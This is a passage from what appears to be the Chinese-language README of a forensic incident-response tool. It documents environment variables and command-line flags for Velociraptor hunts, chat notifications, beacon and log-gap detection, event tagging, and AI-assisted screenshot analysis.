及判定;离线应用外壳/cases/:id/present),用于交接简报和高管走查:大卡片、键盘导航、自动前进、严重性过滤、报告模板品牌;导出自包含的离线 HTML 幻灯片(#177)npm run seed-demo 以播种 GlobalTech 场景reanalyze、synthesize、coverage、verify:ai、clean-timeline| 变量 | 默认值 | 含义 |
|---|
DFIR_VELOCIRAPTOR_API_CONFIG | — | api_client 配置文件的路径 |
DFIR_VELOCIRAPTOR_BINARY | velociraptor | 可执行文件路径(Windows 上为完整的 .exe 路径) |
DFIR_VELOCIRAPTOR_GUI_URL | — | GUI 基础 URL,用于深度链接到已启动的 hunt |
DFIR_VELOCIRAPTOR_ORG | root | 深度链接 ?org_id= 的组织(GUI 要求提供,位于 # 片段之前) |
DFIR_VELOCIRAPTOR_TIMEOUT_MS | 60000 | 每次查询超时时间(毫秒) |
DFIR_VELOCIRAPTOR_MAX_ROWS | 1000 | 返回给仪表板的最大行数 |
DFIR_VELOCIRAPTOR_MAX_OUTPUT | 52428800 | 交互式查询输出字节数的硬上限(50 MB) |
DFIR_VELOCIRAPTOR_COLLECT_MAX_OUTPUT | 268435456 | bundle-hunt 收集的更大上限(行数 + 上传的 JSON;THOR/Hayabusa 数据量很大)。超过此限制的 artifact/上传会被跳过(记录日志),而非致命错误——其余部分仍会导入。 |
DFIR_VELO_HUNT_WAIT_MIN | 10 | triage bundle hunt 自动收集前的默认分钟数(可按运行 + 按 bundle 覆盖;限制在 1–1440 之间) |
DFIR_VELOCIRAPTOR_UPLOAD_VQL | — | 高级:覆盖读取 hunt 上传的文本报告(json/jsonl/ndjson/csv/txt/log;对版本敏感;保留 __HUNT_ID__ 占位符)的 VQL |
DFIR_VELOCIRAPTOR_FLOW_UPLOAD_VQL | — | 高级:覆盖读取外部粘贴的单个 flow 上传报告(保留 __CLIENT_ID__/__FLOW_ID__ 占位符)的 VQL |
DFIR_HUNT_SUGGEST_MAX | 8 | 每次生成返回的 AI 建议的 fleet hunt 最大数量(需要 AI 提供商,而非 Velociraptor API) |
DFIR_PBHUNT_SUGGEST_MAX | 30 | 每次生成返回的 AI 建议的 playbook hunt 最大数量(每个与端点相关的任务一个;需要 AI 提供商) |
| 变量 | 默认值 | 含义 |
|---|
DFIR_PUBLIC_URL | http://<host>:<port> | 用于将通知深度链接回案例的公共基础 URL(当通过主机名/代理访问时设置) |
DFIR_NOTIFY_CA | — | 用于自托管 webhook 主机(例如 Mattermost)的 PEM CA 捆绑包 |
DFIR_NOTIFY_INSECURE | — | =1 以跳过 webhook 主机的 TLS 验证(仅限实验室) |
| 变量 | 默认值 | 含义 |
|---|
DFIR_SLACK_ACTION_USERS | (未设置 = 开放) | 允许运行 ask/hunt/synthesize/bind 的 Slack 用户 id,以逗号分隔 |
DFIR_TEAMS_ACTION_USERS | (未设置 = 开放) | 同上,用于 Teams |
DFIR_TELEGRAM_ACTION_USERS | (未设置 = 开放) | 同上,用于 Telegram(数字用户 id) |
DFIR_SLACK_RESPONSE_HOSTS | hooks.slack.com | 异步结果可投递到的额外主机(自托管的 Slack 兼容服务器) |
DFIR_TEAMS_RESPONSE_HOSTS | *.webhook.office.com, *.logic.azure.com, *.office.com | 同上,用于 Teams |
DFIR_TELEGRAM_BOT_TOKEN | — | @BotFather token,用于投递异步结果 |
DFIR_TELEGRAM_API_BASE | https://api.telegram.org | Bot API 基础 URL 覆盖 |
| 变量 | 默认值 | 含义 |
|---|
DFIR_HUNT_PLATFORMS | all | 用于 hunt-pivot 卡片的平台允许列表,以逗号分隔:velociraptor、defender、elastic、splunk、sigma、yara、suricata |
DFIR_CORRELATE_WINDOW_S | 2 | 同路径跨源事件合并的时间窗口(秒) |
DFIR_PHASE_GAP_S | 300 | 事件之间的间隔(秒),超过则开始新的攻击阶段 |
DFIR_BEACON_MIN_COUNT | 5 | 在(host → dest:port)通道被视为信标检测候选之前所需的最小连接事件数 |
DFIR_BEACON_MAX_JITTER_PCT | 20 | 通道被计为信标的最大间隔抖动(标准差占均值的百分比)——越低越严格 |
DFIR_GAP_MIN_MINUTES | 30 | 日志缺口分析的硬性下限——短于此时间线静默永远不会被标记 |
DFIR_GAP_DENSITY_FACTOR | 4 | 缺口还必须 ≥ 时间线事件间隔中位数的此倍数才会被标记(抑制稀疏时间线中的正常静默;0 = 仅下限) |
DFIR_GAP_ACTIVE_HOURS | (未设置) | 可选的工作时间 "8-18"(UTC,支持跨天 "22-6")——仅标记与其重叠的缺口;设置后取代密度启发式 |
DFIR_GAP_MAX_FINDINGS | 5 | 升级为 finding 的完全静默缺口上限(面板/报告仍显示全部)——防止超级时间线案件淹没 findings 列表 |
DFIR_GAP_HYPOTHESIS_MAX | 5 | 每次运行 Hypothesize gaps AI 调用所推理的最大缺口数(最严重的优先);每个缺口仍会获得其 shadow-artifact 收集 |
DFIR_GAP_HYPOTHESIS_CONTEXT | 8 | 缺口两侧作为前/后上下文馈入假设提示的事件数 |
DFIR_DEDUP | on | 仅当截图与上一次捕获字节完全相同时跳过 AI 分析(SHA-256 精确匹配——屏幕未变化)。任何差异都会被分析;无论哪种情况仍作为证据存储。设为 off 则分析每一张截图 |
TAGGER_AUTO | true | 基于内容的事件标记器(Timesketch 风格 tags.yaml):每次导入后自动运行规则集,标记匹配的事件(并在取证时间线上提升严重性/合并 MITRE)。设为 false 则仅从仪表板手动运行(Super-Timeline → 🏷 Content tagger → Run tagger) |
TAGGER_SCOPE | both | 标记器运行于哪个时间线:forensic(仅精选时间线)、super(仅原始超级时间线,仅标记——从不修改严重性/MITRE)或 both。标签以事件 id 为键,因此无论如何都会在两个时间线中过滤 |
TAGGER_RULES_FILE | (未设置) | 自定义规则文件的绝对路径,覆盖仪表板编辑的文件和捆绑的默认文件(companion/data/tags.yaml)。通过 Super-Timeline → 🏷 Content tagger → Edit rules 在应用内编辑规则 |
| 参数 / 标志 | 默认值 | 作用 |
|---|
caseId(位置参数) | test1 | 要从中采样截图的案例。 |
--provider NAME | 来自 .env | 为本次运行覆盖 DFIR_VISION_PROVIDER。 |
--model ID | 来自 .env | 为本次运行覆盖 DFIR_VISION_MODEL。 |
--key KEY | 来自 .env | 为本次运行覆盖 DFIR_VISION_KEY。 |
| npm run verify:ai | ||
| npm run verify:ai -- mycase | ||
| npm run verify:ai -- mycase --provider openrouter --model openai/gpt-4o --key sk-or-... |
| 参数 / 标志 | 默认值 | 作用 |
|---|
caseId(位置参数) | test1 | 要处理的案件。 |
--reset | 关闭 | 在分析前清空状态。否则会合并到现有状态中。 |
--all | 关闭 | 也包含重复截图(最彻底,但 API 调用更多)。 |
--window N | 4 | 每次 AI 提取调用处理的截图数量。 |
--provider NAME | 来自 .env | 覆盖 DFIR_VISION_PROVIDER(提取)。 |
--model ID | 来自 .env | 覆盖 DFIR_VISION_MODEL(提取)。 |
--key KEY | 来自 .env | 覆盖 DFIR_VISION_KEY(提取)。 |
--base-url URL | 来自 .env | 覆盖 DFIR_VISION_BASE_URL(提取)——例如本地 LiteLLM 代理。 |
--synth-provider NAME | = 提取 / DFIR_AI_SYNTH_PROVIDER | 综合分析阶段使用的提供方。 |
--synth-model ID | = 提取 / DFIR_AI_SYNTH_MODEL | 用于综合分析的更强模型(发现 / MITRE / 攻击者路径)。 |
--synth-key KEY | = 提取 / DFIR_AI_SYNTH_KEY | 综合分析提供方的 API 密钥。 |
--synth-base-url URL | = 提取 / DFIR_AI_SYNTH_BASE_URL | 综合分析提供方的基础 URL。 |
--no-synthesis | 关闭 | 跳过最后的综合分析阶段(仅保留原始取证时间线)。 |